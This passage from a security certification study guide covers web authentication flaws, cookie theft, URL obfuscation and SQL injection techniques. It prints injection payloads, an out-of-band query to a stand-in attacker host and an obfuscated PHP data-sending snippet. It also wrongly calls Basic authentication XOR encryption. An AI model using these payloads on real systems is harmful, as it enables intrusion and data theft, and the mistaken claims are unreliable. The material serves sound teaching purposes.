Gets line from file pointer

strncpy

Copies n bytes from one string to another; might overflow the dest buffer

gets

Reads a line from the standard input stream stdin and stores it in a buffer

strcat

Appends src string to dest string

memmove

Moves one buffer to another

scanf

Reads data from the standard input (stdin) and stores it in the locations given by Arguments

memcpy

Copies num bytes from the src buffer to memory location pointed by destination

It’s not only C that is vulnerable. Really high-level programming languages, such as Perl, are more immune to such problems, but the C language provides little protection against such problems. Assembly language also provides little protection. Even if most of your program is written in another language, many library routines are written in C or C++, so you might not have as complete protection from buffer overflows as you think.

Note

Buffers vulnerable to buffer overflow are not just found in software running on computers and smartphones. This problem has also been found in critical supervisory control and data acquisition (SCADA) systems. This is particularly troubling because these systems might not be patched very often and are used in critical infrastructure.

Exploiting Web-Based Cryptographic Vulnerabilities and Insecure Configurations

Image

This section covers the following authentication types:

  • Basic

  • Message digest

  • Certificate-based

  • Forms-based

Basic authentication is achieved through the process of exclusive OR-ing (XOR). Basic encryption starts to work when a user requests a protected resource. The Enter Network Password dialog box pops up to prompt the user for a username and password. When the user enters his password, it is sent via HTTP back to the server. The data is encoded by the XOR binary operation. This function requires that when two bits are combined, the results will only be a 0 if both bits are the same. XOR functions by first converting all letters, symbols, and numbers to ASCII text. These are represented by their binary equivalent. The resulting XOR value is sent via HTTP. This is the encrypted text. For example, if an attacker were to sniff a packet with basic authentication traffic, he would see the following:

Authorization: Basic gADzdBCPSEG1

It’s a weak form of encryption, and many tools can be used to compromise it. Cain, which is reviewed in Chapter 6, has a basic encryption-cracking tool built in. You can do a Google search for base64 decoder to find a multitude of programs that will encode or decode basic encryption. Basic encryption is one of the weakest forms of authentication. It is not much better than clear text. Basic is a type of obfuscation or security by obscurity.

Message digest authentication (using the MD5 hashing algorithm) is an improvement over basic authentication. However, MD5 is an algorithm that is considered insecure because it is susceptible to collision and other types of attacks. Message digest is based on a challenge-response protocol. It uses the username, the password, and a nonce value to create an encrypted value that is passed to the server. The nonce value makes it much more resistant to cracking and makes sniffing attacks useless. Message digest is described in RFC 5216. An offshoot of this authentication method is NTLM authentication.

Certificate-based authentication is the strongest form of authentication discussed so far. When users attempt to authenticate, they present the web server with their certificates. The certificate contains a public key and the signature of the certificate authority. The web server must then verify the validity of the certificate’s signature and then authenticate the user by using public key cryptography.

Note

Certificate-based authentication uses public key cryptography and is discussed at length in Chapter 10, “Cryptographic Attacks and Defenses.”

Forms-based authentication is widely used on the Internet. It functions through the use of a cookie that is issued to a client. After being authenticated, the application generates a cookie or session variable. This stored cookie is then reused on subsequent visits. If this cookie is stolen or hijacked, the attacker can use it to spoof the victim at the targeted website.

Web-Based Password Cracking and Authentication Attacks

Image

Numerous tools are available for the attacker to attempt to break into web-based applications. If the site does not employ a lockout policy, it is only a matter of time and bandwidth before the attacker can gain entry. Password cracking doesn’t have to involve sophisticated tools; many times password guessing works well. It can be a tedious process, although human intuition can beat automated tools. Basic types of password attacks include the following:

  • Dictionary attacks: A text file full of dictionary words is loaded into a password program and then run against user accounts located by the application. If simple passwords have been used, this might be enough to crack the code. These can be performed offline with tools like LCP and Hashcat and online with tools like Brutus and THC-Hydra.

  • Hybrid attacks: Similar to a dictionary attack, except that hybrid attacks add numbers or symbols to the dictionary words. Many people change their passwords by simply adding a number to the end of their current password. The pattern usually takes this form: First month’s password is Mike; second month’s password is Mike2; third month’s password is Mike3; and so on.

  • Brute-force attacks: The most comprehensive form of attack and the most potentially time-consuming. Brute-force attacks can take weeks, depending on the length and complexity of the password. When performed online, these are considered the most intrusive and will be easily detectable.

Tip

Understand the different types of web password-cracking tools and techniques.

Some of these password-cracking tools are

  • Brutus: Brutus can perform remote dictionary or brute-force attacks against Telnet, FTP, SMTP, and web servers.

  • WebCracker: A simple tool that takes text lists of usernames and passwords and uses them as dictionaries to implement basic authentication password guessing.

  • THC-Hydra: A very useful web password-cracking tool that attacks many common authentication schemes.

If an attacker is using these tools and not submitting the correct credentials to successfully authenticate to the web application, it is a good idea to track this occurrence. If this happens, odds are an attacker is conducting a brute-force attack to try to enumerate valid credentials for user accounts. With logging enabled, you should be able to detect this activity. Following are a few entries from the C:Windowssystem32LogfilesW3SVC1 folder. They should look familiar:

192.168.13.3 sa HEAD /test/basic - 401
Mozilla/4.0+(Compatible);Brutus/AET
192.168.13.3 administrator HEAD /test/basic -
401 Mozilla/4.0+(Compatible);Brutus/AET
192.168.13.3 admin HEAD /test/basic -
401 Mozilla/4.0+(Compatible);Brutus/AET

One other tool worth mentioning with regard to launching brute-force attacks is called Burp Suite. You learned earlier that you could use Burp as a proxy, but it is best described as a full-featured web application penetration testing toolset that comes with many useful modules. One of the modules is called Intruder and allows the user to specify which parts of a request to manipulate to send various data payloads. After you select the desired password payload, you launch the attack. Burp cycles through various password combinations, attempting each variable until it exhausts all possible values or until it finds the correct password.

You might think that all web applications use a clipping level and allow a username and password to be attempted only a limited number of times. Instead of giving a generic failure message, some applications report specifically why a user cannot log in; for example, they used the wrong password or username.

If the attacker can identify which of these is correct, his job will be much easier. Knowing this information, an attacker can cycle through common passwords. This type of information should be suppressed.

During a penetration test, you want to ensure controls have been placed on the types of password users can use. If users are allowed to pick their own passwords, there is a high probability that many will pick weak ones.

Understanding What Cookies Are and Their Use

Image

Cookies have a legitimate purpose. For example, HTTP is a stateless protocol, which presents real problems if you want to rent a car from rent-a-car.com and it asks for a location. To keep track of the location where you want to rent the car, the application must set a cookie. Information such as location, time, and date of the rental is packaged into a cookie and sent to your web browser, which stores it for later use. Attackers will also attempt to use cookies to further their hold on a system. You might be surprised to know how much information they contain. If the application can be accessed via HTTP and HTTPS, there is the possibility that the cookie can be accessed via clear text. Sometimes they are even used to store passwords. These passwords might or might not be obscured. The cookies that hold these values might or might not be persistent. Best practice is for the cookie to be used for only a set period of time and, once exceeded, the browser should delete the cookie. Here are a couple of tools that you can use to view cookies:

  • CookieSpy: Enables you to view cookies, examine their contents, and determine their use.

  • Burp Suite: Used to trap cookies and examine them for vulnerabilities. Burp also helps identify whether sensitive information, such as passwords and usernames, is being stored in a cookie.

If the attacker can gain physical access to the victim’s computer, these tools can be used to steal cookies or to view hidden passwords. You might think that passwords wouldn’t be hidden in cookies, but that is not always the case. It’s another example of security by obscurity. Cookies used with forms authentication or other “remember me” functionality might hold passwords or usernames. Here’s an example:

Set-Cookie: UID= bWlrZTptaWtlc3Bhc3N3b3JkDQoNCg; expires=Fri,
06-June-2016

The UID value appears to contain random letters, but more than that is there. If you run it through a Base64 decoder, you end up with mike:mikespassword. It’s never good practice to store usernames and passwords in a cookie, especially in an unsecured state. Attackers can trap cookies using Paros Proxy or Burp Suite.

URL Obfuscation

Web application designers sometimes practice security by obscurity by encoding data so that it cannot be easily viewed. Some common encoding schemes include the following:

  • Hex

  • HTML

  • Base64

  • Unicode

For example, 0xde.0xaa.0xce.0x1a in hexadecimal converted to base 10 gives 222.170.206.26. Next, examine the snippet of code shown here:

    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_
  SERVER['HTTP_HOST']) == true){ //
Create  bot analytics
        $stCurlLink = base64_decode
  ( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').
'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'
&useragent='.urlencode($sUserAgent).'&domainname='.urlencode
($_SERVER['HTTP_HOST']).'&fullpath='.urlencode
($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
             @$stCurlHandle = curl_init( $stCurlLink );
}

Did you notice the portion of the code that comes after the comment base64_decode? This is an example of hiding a URL so that it cannot be easily detected.

Tip

You will need to understand URL obfuscation before attempting the CEH exam.

In one final example, review the Apache HTTP log of a backdoor script used by a hacker to edit the /public_html/.htaccess file:

192.168.123.194 - - [01/05/2019:11:41:03 -0900]
 "GET /path/footer.inc.php?act=edit&file=/home/account/public_html/.
   htaccess HTTP/1.1" 200 4795 "http://website/path/ footer.inc.
   php?act=filemanager" "Mozilla/5.0..."

Note how footer.inc.php is the obscured named file containing the backdoor script. Also, note that act=edit and file=.htaccess provides the attacker with a built-in backdoor. One way to find these scripts is by searching web server logs for suspicious entries generated when the hacker uses the scripts to modify site files.

Note

Finding log information that leads directly to an attacker is not always easy. Sometimes attackers practice URL obfuscation, by which the attacker attempts to hide his IP address. Depending on the operating system, logs will be stored in different locations. For example, many Linux logs are kept in /var/log.

Logging is a detection/prevention control, but it also proves of great importance after an attack to learn what happened. This is where tools like WinDump and TCPdump come in handy. TCPdump enables you to capture incoming and outgoing packets into a file and then play this file back at a later time. You can log network traffic with the -w command-line switch. It should be followed by the name of the file that will contain the packets:

tcpdump -w file.cap

If you are monitoring a web server, you can use the following syntax to see all HTTP packets:

tcpdump -n dst port 80

Tip

Web application firewalls (WAFs) are also very useful in monitoring, inspecting, and filtering malicious activity that attackers might try to obscure.

Intercepting Web Traffic

Image

One of the best ways to understand how a web application actually works is to observe it. A sniffer is one possible choice, but a proxy is another available tool that can make the job a little easier. This section covers the following proxies:

Web proxies allow the penetration tester to attack and debug web applications. These tools act as a man in the middle. They enable you to intercept, inspect, and modify the raw contents of the traffic, as follows:

  • Intercept: Enables you to see under the hood and watch the traffic move back and forth between the client and the server

  • Inspect: Enables you to enumerate how applications work and see the mechanisms they use

  • Modify: Enables you to modify the data in an attempt to see how the application will respond (for example, injection attacks)

These tools help you perform SQL injection, cookies subversion, buffer overflows, and other types of attacks. Let’s take a look at Burp Proxy to get a better idea of how this works. The first look at Burp Proxy will be of a web session interception when a user (omar) tries to register in a web form, as shown in Figure 7-14.

A screenshot shows the Burp Suite web form.

Figure 7-14 Basic Authentication

Notice the URL Encoded line. URL encoding converts characters into a format that can be transmitted over the Internet. Also, note in the last line the clear-text username and password that were captured.

Figure 7-15 shows an example of capturing an authentication request using OWASP ZAP. You can use the tool to map out how authentication works. Think of it this way: It is easier to break something or hack it when you understand its function. These tools are so valuable because they can help you understand how an application functions and what protocols and services it uses, and this can help you develop a plan of attack. Although a deeper understanding of these techniques is not needed for the CEH exam, it is recommended that you read up on how protocols such as message authentication work. You can find out more in RFC 5216.

A screenshot shows OWASP ZAP window.

Figure 7-15 Intercepting Web Traffic with OWASP ZAP

Securing Web Applications

Image

Ensuring that a web application is secure often is challenging for designers and developers because they typically are under pressure to get the application ready for release as soon as possible. Security often is considered only in the late stages, when time is running out, if at all. One way to build better web applications is to build security into the applications from the start. Another is to assess the finished code. If the source code is available, source code scanners can be used to assist in identifying vulnerabilities in source code. Source code scanners can detect vulnerabilities such as buffer overflows, race conditions, privilege escalation, and tainted input. Buffer overflows enable data to be written over portions of your executable, which can allow a malicious user to do just about anything. Race conditions can prevent protective systems from functioning properly or deny the availability of resources to their rightful users. Race conditions exploit the time difference between when something is written to memory and when it is used. If the attacker can race to access that location in memory after the data is written—but before it is used—he or she might be able to tamper with the value. Privilege escalation occurs when code runs with higher privileges than that of the user who executed it. Tainting of input allows potentially unchecked data through your defenses, possibly qualified as already error-checked information. Tools used to find these types of problems include the following:

  • Flawfinder: A Python program that searches through source code for potential security flaws, listing potential security flaws sorted by risk, with the most potentially dangerous flaws shown first.

  • Rough Auditing Tool for Security (RATS): RATS is written in C and contains external XML collections of rules that apply to each language. It can scan C, C++, Perl, PHP, and Python for vulnerabilities and potential buffer overflows.

  • StackGuard: A compiler that builds programs hardened against stack-smashing attacks. Stack-smashing attacks are a common and big problem for Linux and Windows applications. After programs have been compiled with StackGuard, they are largely immune to buffer-overflow attacks.

  • Microsoft /GS: The /GS switch provides a virtual speed bump between the buffer and the return address. If an overflow occurs, /GS works to prevent its execution. This is the purpose of Microsoft’s /GS compile-time flag.

If the source code is not available, application-level scanners can be used. Application-level scanners enable the security professional or penetration tester to examine completed applications or components rather than the source code. Examples of application-level scanners include the following:

  • W3AF: An open source web vulnerability scanner that comes by default in many penetration testing Linux distributions, such as Kali Linux.

  • N-Stalker: This GUI-based application assessment tool comes with an extensive database of more than 30,000 vulnerabilities and exploits. It provides a well-formatted report that can be used to analyze problems as high, medium, or low threat.

  • WebInspect: Another web application vulnerability-scanning tool, it can scan for more than 1,500 known web server and application vulnerabilities and perform smart guesswork checks for weak passwords.

  • Nikto: A simple, easy-to-use Perl script web-vulnerability program that is fast and thorough. It even supports basic port scanning to determine whether a web server is running on any open ports.

  • AppDetectivePRO: This application-level scanner performs penetration and audit tests. The pen test examines your system from a hacker’s point of view. It doesn’t need internal permissions; the test queries the server and attempts to glean information about the database it is running, such as its version. The audit test can detect any number of security violations on your server, from missing passwords and easily guessed user accounts to missing service packs and security patches.

One other technique that can be used on a finished application is fuzzing. Fuzzing, also known as black box testing, is a software testing technique that provides invalid, unexpected, or random data to the inputs of a computer program. It looks to see if the program will crash, hang, or perform some other invalid activity.

Tip

Be able to identify that fuzzing is a form of black box testing.

Lack of Code Signing

Code signing (or image signing) is a digital signature added to software. The digital signature can be used to verify that the application, operating system, or any software has not been modified after it was signed. Many applications are still not digitally signed these days, which allows attackers to be able to easily modify and potentially impersonate legitimate applications.

Code signing is similar to the process used for SSL/TLS certificates. Software can be protected via the use of digital signatures. Digital signatures require a key pair (one public and one private). The private key is kept secret and is used to encrypt a cryptographic hash of the program. The program can be validated by calculating the hash and using the public key to decrypt the encrypted hash of the file. If the calculated hash and the decrypted hash match, the file has not been modified. The fact that the digital signature can only be decrypted with the public key allows a user to identify and authenticate the software was not modified and the source of the code. The only issue then is how to find the public key. The public key can be found by employing trusted certificate authorities (CAs). If the software or library is modified after signing, the public key in a system will not be able to verify the authenticity of the developer’s private key signature.

Sub-resource Integrity (SRI) is a security feature that allows you to provide a hash of a file fetch by a web browser (client). SRI verifies file integrity and makes sure that such files are delivered without any tampering or manipulation by an attacker.

Database Hacking

Some of your organization’s most valuable assets might not be its web server, but rather the information contained within the company’s database. Databases are important to business, government, and individuals because they can contain customer data, credit card numbers, passwords, and other proprietary secrets. They are widely used, and they are a huge target.

The database is not the only component available to the attacker. There are also interfaces that the attacker can target. For example, ActiveX Data Objects (ADO) is an API from Microsoft that enables users to access and manipulate data held in a relational or nonrelational database. There is also service-oriented architecture (SOA), which is essentially a collection of services. These services communicate data with each other. Most web services implementations are made publicly accessible to allow use by front-end portals.

Before discussing database attacks, let’s review a few facts about databases. Databases can be centralized or distributed, depending on the database management system (DBMS) that has been implemented. Database types include the following:

  • Hierarchical database management system: In this type of database, links are arranged in a tree structure. Each record can have only one owner, and because of this, a restricted hierarchical database cannot often be used to relate to structures in the real world.

  • Network database management system: This type of database was developed to be more flexible than the hierarchical database. The network database model is considered a lattice structure because each record can have multiple parent and child records.

  • Relational database management system: This type of database is usually a collection of tables that are linked by their primary keys. Many organizations use software based on the relational database design. Most relational databases use SQL as their query language.

  • Object-oriented database management system: This type of database is relatively new and was designed to overcome some of the limitations of large relational databases. Object-oriented databases don’t use a high-level language such as SQL. These databases support modeling and the creation of data as objects.

SQL injection (or SQLi) vulnerabilities can be catastrophic because they can allow an attacker to view, insert, delete, or modify records in a database. In an SQL injection attack the attacker inserts or “injects” partial or complete SQL queries via the web application. SQL commands are injected into input fields in an application or a URL in order to perform the execution of predefined SQL commands.

A Brief Introduction to SQL and SQL Injection

Image

If you are not familiar with SQL statements, the following are some of the most common SQL statements (commands):

  • SELECT: Used to obtain data from a database

  • UPDATE: Used to update data in a database

  • DELETE: Used to delete data from a database

  • INSERT INTO: Used to insert new data into a database

  • CREATE DATABASE: Used to create a new database

  • ALTER DATABASE: Used to modify a database

  • CREATE TABLE: Used to create a new table

  • ALTER TABLE: Used to modify a table

  • DROP TABLE: Used to delete a table

  • CREATE INDEX: Used to create an index or a search key element

  • DROP INDEX: Used to delete an index

Typically, SQL statements are divided into the following categories:

  • Data Definition Language (DDL) Statements

  • Data Manipulation Language (DML) Statements

  • Transaction Control Statements

  • Session Control Statements

  • System Control Statements

  • Embedded SQL Statements

Tip

The W3 Schools website has a tool called the Try-SQL Editor that allows you to practice SQL statements in an “online database.” You can use this tool to become familiar with SQL statements and how they may be passed to an application. The tool can be accessed at https://www.w3schools.com/sql/trysql.asp?filename=trysql_select_all. Another good online resource that explains SQL queries in detail is at https://www.geeksforgeeks.org/sql-ddl-dml-tcl-dcl.

Let’s take a look at an example of the Try-SQL Editor by W3 Schools using the SQL statement shown in Figure 7-16.

A screenshot shows Try-SQL Editor window. The window shows a text box for entering the SQL statement and "Run SQL" button. The result is displayed at the bottom of the window.

Figure 7-16 Example of an SQL Statement

The statement shown in Figure 7-16 is a SELECT statement that is querying records in a database table called “Customers,” and it specifically searches for any instances that match %Pavarotti% in the ContactName column (field). A single record is displayed.

Tip

Try different SELECT statements in that website to become familiar with SQL commands.

Let’s take a closer look at the SQL statement, as shown in Figure 7-17.

A SQL statement is shown.

Figure 7-17 Explanation of the SQL Statement

Web applications construct SQL statements involving SQL syntax invoked by the application mixed with user-supplied data. The first portion of the SQL statement shown in Figure 7-17 is not shown to the user, and typically, the application sends that to the database behind the scenes. The second portion of the SQL statement is typically user input in a web form.

If an application does not sanitize user input, an attacker can supply crafted input trying to make the original SQL statement execute further actions in the database. SQL injections can be done using user-supplied strings or numeric input. Figure 7-18 shows an example of a basic SQL injection attack.

A screenshot depicts WebGoat vulnerable application window.

Figure 7-18 Example of a Basic SQL Injection Attack Using String-based User Input

WebGoat is used in Figure 7-18 to demonstrate the effects of an SQL injection attack. The string Smith’ or ‘1’ = ‘1 is entered in the web form. This causes the application to display all records in the database table to the attacker.

Figure 7-19 shows another example. In this case, the attacker used a numeric input to cause the vulnerable application to dump the table records.

A screenshot of WebGoat vulnerable application window is shown.

Figure 7-19 Example of a Basic SQL Injection Attack Numeric-based User Input

Tip

Download WebGoat and complete all the exercises related to SQL injection to practice in a safe environment.

One of the first steps when finding SQL injection vulnerabilities is to understand when the application interacts with a database. This is typically done when you have web authentication forms, search engines, or any interactive site like an e-commerce site.

You can make a list of all input fields whose values could be used in crafting a valid SQL query. This includes trying to identify and manipulate hidden fields of POST requests. It also involves testing them separately, trying to interfere with the query, and trying to generate an error. You should pay attention to HTTP headers and cookies.

You can start by adding a single quote () or a semicolon (;) to the field or parameter in a web form. The first is used in SQL as a string terminator. If the application does not filter it correctly, you might be able to retrieve records or additional information that can help enhance your query or statement.

You can also use comment delimiters (-- or /* */, and so on), as well as other SQL keywords including AND and OR operands. Another simple test is to insert a string where a number is expected.

Tip

You should also monitor all the responses from the application. This includes inspecting the HTML or JavaScript source code. In some cases, errors coming back from the application are inside the source code and shown to the user.

SQL Injection Categories
Image

SQL injection attacks can be divided into the following categories:

  • In-band SQL Injection: The data is obtained by the attacker using the same channel that is used to inject the SQL code. This is the most basic form of an SQL injection attack where the data is dumped directly into the web application (web page).

  • Out-of-band SQL Injection: The attacker retrieves that data using a different channel. For example, an email, text, or instant message could be sent to the attacker with the results of the query; or the attacker is able to send that compromised data to another system.

  • Blind (or inferential) SQL Injection: This is where the attacker does not make the application display or transfer any data, but instead it is able to reconstruct the information by sending specific statements and discerning the behavior of the application and database.

Tip

When you perform an SQL injection attack, you must craft a syntactically correct SQL statement (query). You may also take advantage of error messages coming back from the application because you might be able to reconstruct the logic of the original query and understand how to execute the attack correctly. If the application hides the error details, you will need to reverse engineer the logic of the original query.

There are essentially five techniques that can be used to exploit SQL injection vulnerabilities.

  • Union Operator: Typically, a union operator is used when the SQL injection vulnerability allows a SELECT statement to combine two queries into a single result or a set of results.

  • Boolean: Booleans are used to verify whether certain conditions are true or false.

  • Error-based: Error-based techniques are used to force the database to generate an error so that you can enhance and refine your attack (injection).

  • Out-of-band: Typically, out-of-band techniques are used to obtain records from the database using a different channel. For example, you can make an HTTP connection to send the results to a different web server or your local machine running a web service.

  • Time delay: Time delay techniques allow you to use database commands to delay answers. You can use this technique when you don’t get any output or error messages from the application.

Note

You can also combine any of the preceding techniques to exploit an SQL injection vulnerability. For example, you can combine union operator and out-of-band.

SQL injection can also be exploited by manipulating a URL query string, as demonstrated here:

https://store.h4cker.org/buystuff.php?id=8 AND 1=2

This vulnerable application performs the following SQL query:

SELECT * FROM products WHERE product_id=8 AND 1=2

After this query is done by the application, you might see a message specifying that there is no content available, or you might see a blank page. You can then send a valid query to see if there are any results coming back from the application, as shown here:

https://store.h4cker.org/buystuff.php?id=8 AND 1=1

Some web application frameworks allow you to perform multiple queries at once. You can take advantage of that capability to perform additional exploits, such as adding records. The following statement adds a new user called omar to the users table of the database.

https://store.h4cker.org/buystuff.php?id=8; INSERT INTO
users(username) VALUES ('omar')

Tip

You can play with the SQL statement values shown earlier at the Try-SQL site at https://www.w3schools.com/sql/trysql.asp?filename=trysql_insert_colname.

Fingerprinting the Database

For you to be able to successfully execute complex queries and exploit different combinations of SQL injections, you must first fingerprint the database. The SQL language is defined in the ISO/IEC 9075 standard. However, some databases have some key differences, including the ability to perform additional commands, differing functions to retrieve data, and other features. When you perform more advanced SQL injection attacks, you need to know what backend database is used by the application (for example, Oracle, MariaDB, MySQL, PostgreSQL, and the like).

One of the easiest ways to fingerprint a database is to pay close attention to any errors returned by the application, as demonstrated in the following syntax error message from a MySQL database:

MySQL Error 1064: You have an error in your SQL syntax

Note

You can obtain detailed information about MySQL error messages at https://dev.mysql.com/doc/refman/8.0/en/error-handling.html.

The following is an error from an MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

The following is an error message from MS SQL with Active Server Page (ASP):

Server Error in '/' Application

Note

The following site includes additional information about Microsoft SQL database error codes: https://docs.microsoft.com/en-us/azure/sql-database/sql-database-develop-error-messages.

The following is an error message from an Oracle database:

ORA-00933: SQL command not properly ended

Note

To search for Oracle database error codes, see http://www.oracle.com/pls/db92/db92.error_search?prefill=ORA.

The following is an error message from a PostgreSQL database:

PSQLException: ERROR: unterminated quoted string at or near "'"
Position: 1
or
Query failed: ERROR: syntax error at or near
"'" at character 52 in /www/html/buyme.php on line 69.

Tip

There are many other database types and technologies, and you can always refer to the specific database vendor’s website to obtain more information about their error codes.

If you are trying to fingerprint the database, and there is no error message from the database, you can try using concatenation, as shown here:

MySQL: 'finger' + 'printing'
SQL Server: 'finger' 'printing'
Oracle: 'finger'||'printing'
PostgreSQL: 'finger'||'printing'
Surveying the UNION Exploitation Technique

The SQL UNION operator is used to combine the result-set of two or more SELECT statements, as shown here:

SELECT zipcode FROM h4cker_customers
UNION
SELECT zipcode FROM h4cker_suppliers;

By default, the UNION operator selects only distinct values. You can use the UNION ALL operator if you want to allow duplicate values.

Tip

You can practice the UNION operator interactively at the Try-SQL tool at https://www.w3schools.com/sql/trysql.asp?filename=trysql_select_union.

You can abuse the UNION operator and use them in SQL injections attacks to join a query. The main goal is to obtain the values of columns of other tables. The following demonstrates a UNION-based SQL injection attack:

SELECT zipcode FROM h4cker_customers WHERE zip=1 UNION ALL SELECT
creditcard FROM payments

In this example, the attacker joins the result of the original query with all the credit card numbers in the payments table.

Figure 7-20 shows an example of a UNION operator in an SQL injection attack using the WebGoat vulnerable application. The string omar’ UNION SELECT 1,user_name,password,‘1’,‘1’,‘1’,1 FROM user_system_data -- is entered in the web form.

A screenshot shows WebGoat vulnerable application with SQL injection (advanced) option being selected. The corresponding query and its output are displayed on the right pane.

Figure 7-20 Example of a UNION Operand in an SQL Injection Attack

To perform a UNION-based SQL injection attack using a URL, you would enter the following:

https://store.h4cker.org/buyme.php?id=1234' UNION SELECT 1,user_
name,password,'1','1','1',1 FROM user_system_data --
Using Boolean in SQL Injection Attacks

The Boolean technique is typically used in Blind SQL injection attacks. In Blind SQL injection vulnerabilities, the vulnerable application typically does not return an SQL error, but it could return a HTTP 500 message, 404 message, or a redirect. You can use Boolean queries against the application to try to understand the reason for those error codes.

Figure 7-21 shows an example of a Blind SQL injection using the intentionally vulnerable DVWA application.

A screenshot of Damn Vulnerable Web Application is shown selected with SQL injection (Blind) option. The window has a user ID text box, submit button, and more information.

Figure 7-21 Blind SQL Injection Attack

Tip

Try this yourself! Download DVWA from http://www.dvwa.co.uk/ or WebGoat from https://github.com/WebGoat/WebGoat.

Understanding Out-of-Band Exploitation

The out-of-band exploitation technique is very useful when you are exploiting a Blind SQL injection vulnerability. You can use database management system (DBMS) functions to execute an out-of-band connection to obtain the results of the Blind SQL injection attack. Figure 7-22 shows how an attacker exploits a Blind SQL injection vulnerability in store.h4cker.org. The attacker then forces the victim server to send the (malicious.h4cker.org).

A figure depicts the blind SQL injection vulnerability attack.

Figure 7-22 Out-of-Band SQL Injection Attack

The malicious SQL string is as follows:

https://store.h4cker.org/buyme.php?id=8||UTL_HTTP.request
('malicious.h4cker.org')||(SELECT user FROM DUAL)--

In this example, the attacker is using the value 8 combined with the result of Oracle’s function UTL_HTTP.request.

Tip

To perform this attack, you can set up a web server such as NGNIX or Apache, or you can use Netcat to start a listener. For example, nc–lvp 80. One of the most common uses of Netcat for penetration testing is the concept of creating reverse and bind shells. A reverse shell is a shell initiated from the victim to the attacker. A bind shell is set up on the victim, and it “binds” to a specific port that listens for an incoming connection from the attacker. A bind shell is often referred to as a backdoor.

The following site has several cheat sheets (including one for Netcat) that can help you get familiar with different useful commands and utilities. See http://h4cker.org/cheat.

Exploring the Time-Delay SQL Injection Technique

Earlier in this chapter you learned the Boolean exploitation methodology. When you try to exploit a Blind SQL injection, the Boolean technique is very helpful. Another trick is to also induce a delay on the response. If there is a delay, you can assume the result of the conditional query is true.

Note

The time-delay technique will vary from database type/vendor to the next.

The following is an example of the time-delay technique against a MySQL server:

https://store.h4cker.org/buyme.php?id=8 AND IF(version() like '8%',
sleep(10), 'false'))--

In this example, the query determines whether the MySQL version is 8.x, and it then forces the server to delay the answer by 10 seconds. You can increase the delay time and monitor the responses. You can even set the sleep parameter to a high value because you do not need to wait for that long, and you can just cancel the request after a few seconds.

Surveying Stored Procedure SQL Injection

A stored procedure is a collection of one or more SQL statements or a reference to an SQL server. Stored procedures can accept input parameters and return multiple values in the form of output parameters to the calling program. They can also contain programming statements that execute operations in the database (including calling other procedures).

If the SQL server does not sanitize user input, you could enter malicious SQL statements that will be executed within the stored procedure. The following demonstrates the concept of a stored procedure:

Create procedure user_login @username varchar(20), @passwd
varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = '
Select 1 from users Where username = ' + @username + ' and passwd =
' + @passwd exec(@sqlstring) Go

If you enter omar or 1 = 1somepassword in the vulnerable application, you could obtain the password or any sensitive information from the database (if the input is not sanitized).

Understanding SQL Injection Mitigations

Input validation is the main concept behind mitigations for SQL injection attacks. The best mitigation for SQL injection vulnerabilities is the use of immutable queries. This includes using

  • Static queries

  • Parameterized queries

  • Stored procedures (if such stored procedure does not generate dynamic SQL)

Immutable queries do not have data that could get interpreted. In some cases, they process the data as a single entity that is bound to a column without interpretation.

The following shows two examples of static queries:

select * from contacts;
select * from users where user = "omar";

The following shows an example of parameterized queries:

String query = "SELECT * FROM users WHERE name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, username);
ResultSet results = statement.executeQuery();

Tip

OWASP has a great resource that explains the SQL mitigations in detail at https://github.com/OWASP/CheatSheetSeries.

SQL Injection Hacking Tools

Image

A lot of tools enable you to hack SQL databases. Some are listed here for your review:

  • sqlmap: A comprehensive tool to perform SQL injection and other automated attacks.

  • SQLDict: Performs a dictionary attack against the SQL server.

  • SQLExec: Executes commands on a compromised SQL server.

  • SQLbf: Another password-cracking program that performs both dictionary and brute-force attacks.

  • BSQL Hacker: An automated SQL injection tool.

  • Marathon Tool: Used for time-based blind SQL injection testing.

  • SQL Power Injector: A SQL injection exploit.

  • Havij: Used to perform back-end database fingerprinting, retrieve DBMS login names and passwords, dump tables, fetch data, execute SQL statements, and access underlying file systems of SQL servers.

  • Absinthe: Yet another SQL injection exploit.

Tip

Make sure that you can identify common SQL hacking tools such as BSQL Hacker, Havij, and SQLDict.

Summary

In this chapter, you learned details about how to perform security penetration testing assessments of modern web applications. There are three broad areas that the attacker can focus on: the web server, the web application, and the database. Attackers might start with the web server, but web servers are usually an easy target only if they have not been patched and hardened. They are the one thing that attackers have ample access to from the Internet. Also, web applications on the server are a potential target. This is a big target today because companies have moved from bricks and mortar to bricks and clicks. Most companies rely heavily on their web applications. For the attacker, the first step is to identify the applications being used. Next, they inspect each point at which data is input, output, and processed. The attacker is looking for any vulnerability, such as poor input validation, buffer overflow, code execution, LDAP injection, or even the error messages being returned. You also learned details about XSS, CSRF, how to attack APIs, and how to take advantage of insecure implementations in modern web applications. The third section of this chapter discussed attacks against databases. Although databases might sit behind the server, they are also a big target. SQL injection is a basic attack that is used either to gain unauthorized access or to retrieve direct access to the database. Databases contain personal information and sometimes even credit card and billing information, which makes them a huge target for attackers from around the world. Countermeasures must be put in place to protect them, such as proper input validation, error message suppression, proper access controls, and isolation of the database.

Exam Preparation Tasks

As mentioned in the section “How to Use This Book” in the Introduction, you have several choices for exam preparation: the exercises here, Chapter 12, “Final Preparation,” and the exam simulation questions in the Pearson Test Prep Software Online.

Review All Key Topics

Review the most important topics in this chapter, noted with the Key Topic icon in the outer margin of the page. Table 7-3 lists a reference of these key topics and the page numbers on which each is found.

Table 7-3 Key Topics for Chapter 7

Image

Key Topic Element

Description

Page Number

Section

Explains how web servers and the HTTP protocol work

328

List

Explains web server enumeration and scanning

336

Section

Explains web server vulnerability identification techniques

342

List

Common web server attacks

343

Section

Understanding directory or path traversal vulnerabilities

345

Section

Explains web server software specific vulnerabilities

349

Section

Explains API insecure configurations and related vulnerabilities

353

Section

Understanding injection flaws in web applications

362

Section

Understanding reflected, stored, and DOM-based cross-site scripting (XSS) vulnerabilities

363

Section

Understanding cross-site request forgery vulnerabilities and related attacks

371

Section

Understanding web-based cryptographic vulnerabilities and insecure configurations

374

Section

Understanding web-based authentication vulnerabilities and insecure configurations

375

Section

Understanding what cookies are and their use

377

Section

Explains how to intercept web traffic

380

Section

Describes how to secure web applications

381

Section

